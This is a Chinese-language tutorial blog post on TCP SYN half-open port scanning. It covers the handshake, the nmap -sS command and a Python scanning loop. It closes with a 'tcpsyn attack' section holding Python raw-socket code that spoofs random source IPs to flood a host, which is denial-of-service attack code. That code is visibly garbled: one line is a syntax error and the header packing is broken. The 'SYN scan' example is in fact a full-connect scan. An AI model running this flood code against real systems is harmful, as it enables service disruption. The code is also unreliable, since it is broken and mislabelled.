深入分析tcpsyn掃描

一、tcpsyn掃描又稱為

tcpsyn掃描是一種用於檢測TCP埠開放狀態的技術,也被稱為半開掃描。它通過發送一個SYN包給目標主機,如果目標主機回應一個SYN/ACK包,則表示對應埠是開放的,反之則表示該埠是關閉的。tcpsyn掃描使用一種輕量級、準確的方式對埠進行快速掃描,它通常是進行滲透測試時的重要一步。

二、tcpsyn掃描開放了5個地址,22埠

在進行tcpsyn掃描之前,我們需要先確定要掃描的目標地址和埠。以下是tcpsyn掃描開放了5個地址和22埠的示例代碼:

import socket

target_host = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.4", "192.168.1.5", "192.168.1.6"]
target_port = 22

for address in target_host:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.settimeout(0.1)
    
    try:
        client.connect((address, target_port))
        print("[*] %s:%d/tcp open" % (address, target_port))
    except:
        print("[*] %s:%d/tcp closed" % (address, target_port))
        client.close()

三、tcpsyn掃描命令

使用tcpsyn掃描可以通過以下命令實現:

nmap -sS [target]

使用nmap工具里的-sS參數可以執行tcpsyn掃描。

四、tcpsyn掃描的原理

tcpsyn掃描的原理是基於TCP的三次握手機制。在TCP通信過程中,客戶端首先向伺服器發送一個SYN包,該包中包括了客戶端的初始序列號。伺服器接收到SYN包後會向客戶端發送一個SYN/ACK包,該包中包括了伺服器的初始序列號和確認號。客戶端接收到伺服器的SYN/ACK包後會向伺服器串發一個ACK包來確認連接建立。

在進行tcpsyn掃描時,客戶端只發送一個SYN包,不發送ACK包。在得到伺服器的SYN/ACK包後,客戶端不再往下執行,而是直接關閉對應的TCP連接,從而避免了連接建立的過程。這樣一來,我們就可以通過觀察TCP響應包的行為來判斷埠的狀態。

五、tcpsyn掃描的優缺點

tcpsyn掃描作為一種快速、準確的埠掃描技術,具有以下優點:

  • 可以識別開放和關閉的埠。
  • 幾乎不會在目標主機日誌中留下任何痕迹,因為客戶端只發送一個SYN包,連接不會真正建立。
  • 可以避免由於全連接掃描帶來的風險,如DoS攻擊。

但tcpsyn掃描也存在一些缺點:

  • 目標主機可能會通過啟用SYN Cookies來檢測SYN洪水攻擊,從而檢測出SYN包的掃描行為。因此,tcpsyn掃描需要控制掃描速度,否則可能會被目標主機檢測到。
  • 由於SYN包容易被網路過濾器和IDS檢測到,因此tcpsyn掃描在某些情況下可能無法成功。

六、tcpsyn掃描中利用的標誌位

在tcpsyn掃描過程中,我們使用了TCP協議中的SYN標誌位。SYN(Synchronous)標誌位用於建立連接,因此在客戶端發送SYN包時,目標伺服器會返回一個SYN/ACK響應包,從而判斷掃描目標埠是否開放。

七、tcpsyn攻擊

tcpsyn掃描是一種探測目標主機開放埠狀態的手段,但是如果將它用於攻擊,則被稱為tcpsyn攻擊。tcpsyn攻擊利用TCP協議中的漏洞,攻擊者帶著合法的地址向目標主機發送大量的SYN包,消耗目標主機的系統資源,造成DoS攻擊的結果。

以下是Python代碼中模擬的tcpsyn攻擊示例:

import socket, random, struct

target_host = "192.168.1.1"
target_port = 22

for i in range(32):
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    s.settimeout(0.01)
    
    src_ip = "%d.%d.%d.%d" % (random.randint(1,255),random.randint(1,255),random.randint(1,255),random.randint(1,255))
    saddr = socket.inet_aton(src_ip)
    daddr = socket.inet_aton(target_host)
    ihl = 5
    version = 4
    tos = 0
    tot_len = 40
    id = random.randint(18000,65000)
    frag_off = 0
    ttl = 128
    protocol = socket.IPPROTO_TCP
    check = 10
    saddr = socket.inet_aton(src_ip)
    daddr = socket.inet_aton(target_host)
    tcp_header = struct.pack('!HHLLBBHHH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 0, 6, check, 0)
    psh = struct.pack("!4s4sBBH", saddr, daddr, 0, protocol, len(tcp_header))
    psh = psh + tcp_header
    sum = 0
    count_to = (len(psh) / 2) * 2
    count = 0
    
    while count < count_to:
        this_val = ord(psh[count+1])*256 + ord(psh[count])
        sum = sum + this_val
        sum = sum & 0xffffffff
        count = count + 2
    
    if count_to > 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    check = ~sum
    check = check & 0xffff
    tcp_header = struct.pack('!HHLLBBH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 2, check)
    pack = struct.pack('!4s4sBBH', saddr, daddr, 0, protocol, len(tcp_header))
    pack += tcp_header
    s.sendto(pack, (target_host, 0))
    s.close()
    
    print("[*] Sending tcpsyn attack to %s:%d" % (target_host, target_port))

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/307102.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2025-01-02 18:06
下一篇 2025-01-02 18:06

相關推薦

  • 深入解析Vue3 defineExpose

    Vue 3在開發過程中引入了新的API `defineExpose`。在以前的版本中,我們經常使用 `$attrs` 和` $listeners` 實現父組件與子組件之間的通信,但…

    編程 2025-04-25
  • 深入理解byte轉int

    一、位元組與比特 在討論byte轉int之前,我們需要了解位元組和比特的概念。位元組是計算機存儲單位的一種,通常表示8個比特(bit),即1位元組=8比特。比特是計算機中最小的數據單位,是…

    編程 2025-04-25
  • 深入理解Flutter StreamBuilder

    一、什麼是Flutter StreamBuilder? Flutter StreamBuilder是Flutter框架中的一個內置小部件,它可以監測數據流(Stream)中數據的變…

    編程 2025-04-25
  • 深入探討OpenCV版本

    OpenCV是一個用於計算機視覺應用程序的開源庫。它是由英特爾公司創建的,現已由Willow Garage管理。OpenCV旨在提供一個易於使用的計算機視覺和機器學習基礎架構,以實…

    編程 2025-04-25
  • 深入了解scala-maven-plugin

    一、簡介 Scala-maven-plugin 是一個創造和管理 Scala 項目的maven插件,它可以自動生成基本項目結構、依賴配置、Scala文件等。使用它可以使我們專註於代…

    編程 2025-04-25
  • 深入了解LaTeX的腳註(latexfootnote)

    一、基本介紹 LaTeX作為一種排版軟體,具有各種各樣的功能,其中腳註(footnote)是一個十分重要的功能之一。在LaTeX中,腳註是用命令latexfootnote來實現的。…

    編程 2025-04-25
  • 深入了解Python包

    一、包的概念 Python中一個程序就是一個模塊,而一個模塊可以引入另一個模塊,這樣就形成了包。包就是有多個模塊組成的一個大模塊,也可以看做是一個文件夾。包可以有效地組織代碼和數據…

    編程 2025-04-25
  • 深入剖析MapStruct未生成實現類問題

    一、MapStruct簡介 MapStruct是一個Java bean映射器,它通過註解和代碼生成來在Java bean之間轉換成本類代碼,實現類型安全,簡單而不失靈活。 作為一個…

    編程 2025-04-25
  • 深入探討馮諾依曼原理

    一、原理概述 馮諾依曼原理,又稱「存儲程序控制原理」,是指計算機的程序和數據都存儲在同一個存儲器中,並且通過一個統一的匯流排來傳輸數據。這個原理的提出,是計算機科學發展中的重大進展,…

    編程 2025-04-25
  • 深入理解Python字元串r

    一、r字元串的基本概念 r字元串(raw字元串)是指在Python中,以字母r為前綴的字元串。r字元串中的反斜杠(\)不會被轉義,而是被當作普通字元處理,這使得r字元串可以非常方便…

    編程 2025-04-25

發表回復

登錄後才能評論